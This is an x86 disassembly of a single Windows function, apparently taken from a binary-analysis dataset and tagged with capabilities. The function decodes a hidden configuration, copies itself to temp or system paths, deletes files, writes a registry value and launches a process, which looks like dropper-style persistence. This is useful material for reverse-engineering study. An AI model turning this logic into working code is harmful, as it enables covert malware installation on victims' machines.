Function at 0x409440
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Get file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c4c
call fcn.00413d30
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x206
xor ebx, ebx
lea ecx, [ebp - 0x3ce]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x3d0], ax
call fcn.00411f00
add esp, 0xc
push 0x206
lea eax, [ebp - 0xdf6]
xor edx, edx
push ebx
push eax
mov word [ebp - 0xdf8], dx
call fcn.00411f00
add esp, 0xc
push 0x206
lea edx, [ebp - 0xbee]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 0xbf0], cx
call fcn.00411f00
xor eax, eax
add esp, 0xc
push 0x7e
lea edx, [ebp - 0x1c6]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 0x24], ax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov word [ebp - 0x1c8], cx
call fcn.00411f00
add esp, 0xc
push 0x7e
lea ecx, [ebp - 0xc6]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0xc8], ax
call fcn.00411f00
add esp, 0xc
push 0x7e
lea eax, [ebp - 0x146]
xor edx, edx
push ebx
push eax
mov dword [ebp - 0x1c38], ebx
mov word [ebp - 0x148], dx
call fcn.00411f00
add esp, 0xc
push 0x206
lea edx, [ebp - 0x7de]
xor ecx, ecx
push ebx
push edx
mov dword [ebp - 0x1c34], ebx
mov word [ebp - 0x7e0], cx
call fcn.00411f00
add esp, 0xc
xor eax, eax
mov word [ebp - 0x44], ax
mov dword [ebp - 0x42], eax
mov dword [ebp - 0x3e], eax
mov dword [ebp - 0x3a], eax
mov dword [ebp - 0x36], eax
mov dword [ebp - 0x32], eax
mov dword [ebp - 0x2e], eax
mov dword [ebp - 0x2a], eax
push 0x200
lea ecx, [ebp - 0x17f8]
push ebx
push ecx
mov word [ebp - 0x26], ax
mov dword [ebp - 0x1c4c], ebx
call fcn.00411f00
add esp, 0xc
push 1
lea edi, [ebp - 0x17f8]
call fcn.00404230
add esp, 4
push 0x200
lea edx, [ebp - 0x5d0]
push ebx
push edx
mov dword [ebp - 0x1c48], eax
call fcn.00411f00
add esp, 0xc
lea esi, [ebp - 0x5d0]
call fcn.00404050
test eax, eax
jne 0x4095cc
mov dword [ebp - 0x1c3c], ebx
jmp 0x409621
xor eax, eax
mov edi, edi
mov cl, byte [ebp + eax - 0x5d0]
not cl
mov byte [ebp + eax - 0x5d0], cl
inc eax
cmp eax, 0x200
jb 0x4095d0
cmp dword [ebp - 0x5d0], 0x504d534d
je 0x4095fc
mov dword [ebp - 0x1c3c], ebx
jmp 0x409621
push 0x200
lea edx, [ebp - 0x5d0]
push edx
lea eax, [ebp - 0x1c30]
push eax
call fcn.0040bcc0
add esp, 0xc
mov dword [ebp - 0x1c3c], 1
push 0x104
lea ecx, [ebp - 0xdf8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [ebp - 0x3d0]
push edx
push 0x104
call edi
push 0x41e52c
lea eax, [ebp - 0x3d0]
push 0x104
push eax
call fcn.0040b275
lea eax, [ebp - 0x3d0]
add esp, 0xc
lea edx, [eax + 2]
jmp 0x409670
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409670
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, edx
sar eax, 1
je 0x4096a2
lea ecx, [ebp - 0x3d0]
push ecx
call esi
cmp eax, 0xffffffff
je 0x4096a2
lea edx, [ebp - 0x3d0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x1c48], ebx
je 0x409988
lea eax, [ebp - 0x3d0]
push eax
push 0x104
call edi
lea ecx, [ebp - 0x1670]
push ecx
lea edx, [ebp - 0x3d0]
push 0x104
push edx
call fcn.0040b275
add esp, 0xc
push 0x41c42c
lea eax, [ebp - 0x3d0]
push 0x104
push eax
call fcn.0040b275
lea eax, [ebp - 0x3d0]
add esp, 0xc
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409700
sub eax, edx
sar eax, 1
je 0x40976e
lea ecx, [ebp - 0x3d0]
push ecx
call esi
cmp eax, 0xffffffff
je 0x40976e
xor eax, eax
jmp 0x409730
movzx ecx, word [ebp + eax - 0x1670]
mov word [ebp + eax - 0x1a08], cx
add eax, 2
test cx, cx
jne 0x409730
push 0x41c42c
lea edx, [ebp - 0x1a08]
push 0x104
push edx
call fcn.0040b275
add esp, 0xc
lea eax, [ebp - 0x3d0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x1650]
push ecx
lea edx, [ebp - 0x24]
push 0x10
push edx
call fcn.0040a7ee
add esp, 0xc
lea edi, [ebp - 0x3d0]
lea esi, [ebp - 0x1650]
call fcn.00401900
call fcn.00409290
cmp eax, 1
jne 0x4097b1
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a7df
mov esp, ebp
pop ebp
ret
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x5d6]
push ecx
mov word [ebp - 0x5d8], ax
call fcn.00411f00
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x9e6]
push eax
mov word [ebp - 0x9e8], dx
call fcn.00411f00
add esp, 0xc
xor eax, eax
nop
movzx ecx, word [ebp + eax - 0x1650]
mov word [ebp + eax - 0x5d8], cx
add eax, 2
test cx, cx
jne 0x4097f0
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [ebp + eax - 0x1650]
mov word [ebp + eax - 0x9e8], cx
add eax, 2
test cx, cx
jne 0x409810
lea eax, [ebp - 0x9e8]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x409831
mov ecx, dword [0x41e4d4]
mov edx, dword [0x41e4d8]
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [eax], ecx
mov ecx, dword [0x41e4dc]
mov dword [eax + 4], edx
lea edx, [ebp - 0x5d8]
push edx
push 0
push 0x20000
mov dword [eax + 8], ecx
call edi
test eax, eax
je 0x4098ca
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebx
lea eax, [ebp - 0x9e8]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea ecx, [ebp - 0x5d8]
push ecx
xor esi, esi
push esi
push 0x20000
call edi
test eax, eax
je 0x4098ca
cmp esi, 5
jge 0x4098ca
push eax
call ebx
push 0x1f4
inc esi
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x5d8]
push edx
push 0
push 0x20000
call edi
test eax, eax
jne 0x4098a2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x3d0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
jmp 0x4098f0
movzx ecx, word [ebp + eax - 0x1772]
mov word [ebp + eax - 0x1c8], cx
add eax, 2
test cx, cx
jne 0x4098f0
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [ebp + eax - 0x17f4]
mov word [ebp + eax - 0xc8], cx
add eax, 2
test cx, cx
jne 0x409910
movzx ecx, word [ebp - 0x1774]
mov dword [ebp - 0x1c38], ecx
xor eax, eax
jmp 0x409940
movzx ecx, word [ebp + eax - 0x1752]
mov word [ebp + eax - 0x148], cx
add eax, 2
test cx, cx
jne 0x409940
movzx edx, word [ebp - 0x16d2]
mov ebx, dword [ebp - 0x1630]
lea eax, [ebp - 0x1670]
push eax
lea ecx, [ebp - 0x44]
push 0x10
push ecx
mov dword [ebp - 0x1c34], edx
call fcn.0040a7ee
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x409a3c
cmp dword [0x420f30], 3
jne 0x409a3f
push 0x236
lea edx, [ebp - 0x1a30]
push 0
push edx
call fcn.00411f00
add esp, 0xc
lea esi, [ebp - 0x1a30]
call fcn.00401e60
mov dword [ebp - 0x1c4c], eax
test eax, eax
je 0x409a3f
xor eax, eax
jmp 0x4099d0
movzx ecx, word [ebp + eax - 0x1922]
mov word [ebp + eax - 0x1c8], cx
add eax, 2
test cx, cx
jne 0x4099d0
mov ecx, dword [ebp - 0x192a]
lea esi, [ebp - 0xc8]
call fcn.00401630
movzx eax, word [ebp - 0x1926]
mov ecx, dword [ebp - 0x1930]
lea esi, [ebp - 0x148]
mov dword [ebp - 0x1c38], eax
call fcn.00401630
movzx ecx, word [ebp - 0x192c]
mov ebx, dword [ebp - 0x1a28]
lea edx, [ebp - 0x1902]
push edx
lea eax, [ebp - 0x24]
push 0x10
push eax
mov dword [ebp - 0x1c34], ecx
call fcn.0040a7ee
add esp, 0xc
cmp dword [ebp - 0x1c3c], 0
je 0x409b4e
xor eax, eax
mov edi, edi
movzx ecx, word [ebp + eax - 0x1baa]
mov word [ebp + eax - 0x1c8], cx
add eax, 2
test cx, cx
jne 0x409a50
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [ebp + eax - 0x1c2c]
mov word [ebp + eax - 0xc8], cx
add eax, 2
test cx, cx
jne 0x409a70
movzx ecx, word [ebp - 0x1bac]
mov dword [ebp - 0x1c38], ecx
xor eax, eax
jmp 0x409aa0
movzx ecx, word [eax + 0x41e508]
mov word [ebp + eax - 0x148], cx
add eax, 2
test cx, cx
jne 0x409aa0
cmp dword [0x420f30], 3
movzx edx, word [ebp - 0x1b0a]
mov dword [ebp - 0x1c34], edx
mov ebx, 5
je 0x409ae2
lea eax, [ebp - 0x7e0]
push eax
push 0x104
call edi
jmp 0x409b0d
push 0x104
lea ecx, [ebp - 0x7e0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41c29c
lea edx, [ebp - 0x7e0]
push 0x104
push edx
call fcn.0040b275
add esp, 0xc
xor eax, eax
nop
movzx ecx, word [ebp + eax - 0x7e0]
mov word [ebp + eax - 0xbf0], cx
add eax, 2
test cx, cx
jne 0x409b10
push 0x41c410
lea eax, [ebp - 0xbf0]
push 0x104
push eax
call fcn.0040b275
add esp, 0xc
lea ecx, [ebp - 0xbf0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x200
lea edx, [ebp - 0x17f8]
push 0
push edx
call fcn.00411f00
mov eax, 0x51
mov esi, 0x504d534d
add esp, 0xc
mov word [ebp - 0x1774], ax
mov dword [ebp - 0x17f8], esi
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [eax + 0x41e4e0]
mov word [ebp + eax - 0x17f4], cx
add eax, 2
test cx, cx
jne 0x409b80
mov ecx, 0x2b66
mov word [ebp - 0x16d2], cx
xor eax, eax
jmp 0x409bb0
movzx ecx, word [eax + 0x41e508]
mov word [ebp + eax - 0x1752], cx
add eax, 2
test cx, cx
jne 0x409bb0
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + 0x41e4fc]
mov word [ebp + eax - 0x1772], cx
add eax, 2
test cx, cx
jne 0x409bd0
cmp dword [ebp - 0x1c48], 0
mov edi, 5
mov dword [ebp - 0x1630], edi
jne 0x409c0d
cmp dword [ebp - 0x1c4c], 0
jne 0x409c0d
cmp dword [ebp - 0x1c3c], 0
je 0x409c81
lea edx, [ebp - 0x1c8]
push edx
lea eax, [ebp - 0x1772]
push 0x10
push eax
call fcn.0040a7ee
add esp, 0xc
lea ecx, [ebp - 0xc8]
push ecx
lea edx, [ebp - 0x17f4]
push 0x40
push edx
call fcn.0040a7ee
movzx eax, word [ebp - 0x1c38]
add esp, 0xc
lea ecx, [ebp - 0x148]
push ecx
lea edx, [ebp - 0x1752]
push 0x40
push edx
mov word [ebp - 0x1774], ax
call fcn.0040a7ee
movzx eax, word [ebp - 0x1c34]
add esp, 0xc
mov word [ebp - 0x16d2], ax
mov dword [ebp - 0x1630], ebx
test ebx, ebx
jne 0x409c81
mov dword [ebp - 0x1630], edi
cmp word [ebp - 0x17f4], 0
je 0x409f03
cmp word [ebp - 0x1774], 0
jbe 0x409f03
mov dword [ebp - 0x17f8], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040a87f
add esp, 4
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x15f6]
push edx
mov word [ebp - 0x15f8], cx
call fcn.00411f00
add esp, 0xc
cmp word [ebp - 0x16d0], 0
jne 0x409d01
lea eax, [ebp - 0x15f8]
push eax
call section..text
add esp, 4
lea ecx, [ebp - 0x15f8]
push ecx
lea edx, [ebp - 0x16d0]
push 0x10
push edx
call fcn.0040a7ee
add esp, 0xc
cmp word [ebp - 0x16b0], 0
jne 0x409d32
lea eax, [ebp - 0x15f8]
push eax
call section..text
add esp, 4
lea ecx, [ebp - 0x15f8]
push ecx
lea edx, [ebp - 0x16b0]
push 0x10
push edx
call fcn.0040a7ee
add esp, 0xc
cmp word [ebp - 0x1670], 0
jne 0x409d63
lea eax, [ebp - 0x15f8]
push eax
call section..text
add esp, 4
lea ecx, [ebp - 0x15f8]
push ecx
lea edx, [ebp - 0x1670]
push 0x10
push edx
call fcn.0040a7ee
add esp, 0xc
cmp word [ebp - 0x1650], 0
jne 0x409dc6
lea eax, [ebp - 0x15f8]
push eax
call section..text
add esp, 4
lea ecx, [ebp - 0x15f8]
push ecx
lea edx, [ebp - 0x1650]
push 0x10
push edx
call fcn.0040a7ee
lea eax, [ebp - 0x24]
add esp, 0xc
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409da0
sub eax, edx
sar eax, 1
je 0x409dc6
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x1650]
push 0x10
push ecx
call fcn.0040a7ee
add esp, 0xc
lea eax, [ebp - 0x44]
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409dd0
sub eax, edx
sar eax, 1
je 0x409df6
lea edx, [ebp - 0x44]
push edx
lea eax, [ebp - 0x1690]
push 0x10
push eax
call fcn.0040a7ee
add esp, 0xc
cmp word [ebp - 0x1690], 0
jne 0x409e27
lea ecx, [ebp - 0x15f8]
push ecx
call section..text
add esp, 4
lea edx, [ebp - 0x15f8]
push edx
lea eax, [ebp - 0x1690]
push 0x10
push eax
call fcn.0040a7ee
add esp, 0xc
cmp dword [ebp - 0x1630], 0
mov dword [ebp - 0x162c], 0x10001f3
jne 0x409e40
mov dword [ebp - 0x1630], edi
lea ecx, [ebp - 0x17f8]
push ecx
call fcn.004042e0
add esp, 4
test eax, eax
je 0x409f03
lea edi, [ebp - 0x3d0]
lea esi, [ebp - 0x1650]
call fcn.00401900
mov edx, edi
push edx
lea eax, [ebp - 0xdf8]
call fcn.00409350
add esp, 4
lea eax, [ebp - 0x1c44]
push eax
push 3
push 0
push 0x41e548
push connect
mov dword [ebp - 0x1c44], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x409ee9
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409ea7
sub eax, edx
sar eax, 1
lea ecx, [eax + eax + 2]
mov eax, dword [ebp - 0x1c44]
push ecx
lea edx, [ebp - 0x3d0]
push edx
push 1
push 0
push 0x41e5b4
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x409ee9
mov ecx, dword [ebp - 0x1c44]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x41c428
lea edx, [ebp - 0x3d0]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0040a7df
mov esp, ebp
pop ebp
ret